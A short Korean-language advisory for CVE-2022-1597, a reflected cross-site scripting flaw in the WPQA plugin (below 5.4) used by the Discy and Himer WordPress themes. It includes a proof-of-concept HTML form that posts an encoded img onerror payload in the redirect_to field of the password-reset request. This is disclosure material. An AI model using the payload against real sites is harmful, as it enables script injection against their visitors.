CVE-2022-1597

Discy 및 Himer 테마의 보조 플러그인으로 사용되는 이 플러그인은 비밀번호 재설정 양식에서 매개변수를 적절히 검증 및 이스케이프 처리하지 않아 반사형 Cross-Site Scripting 공격이 가능합니다.

영향을 받는 플러그인:

WPQA < 5.4

영향을 받는 테마:

DISCY

HIMER

POC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="user&#95;mail" value="[email protected]" />
      <input type="hidden" name="form&#95;type" value="wpqa&#95;forget" />
      <input type="hidden" name="action" value="wpqa&#95;ajax&#95;password&#95;process" />
      <input type="hidden" name="redirect&#95;to" value="&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;alert&#40;document&#46;domain&#41;&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>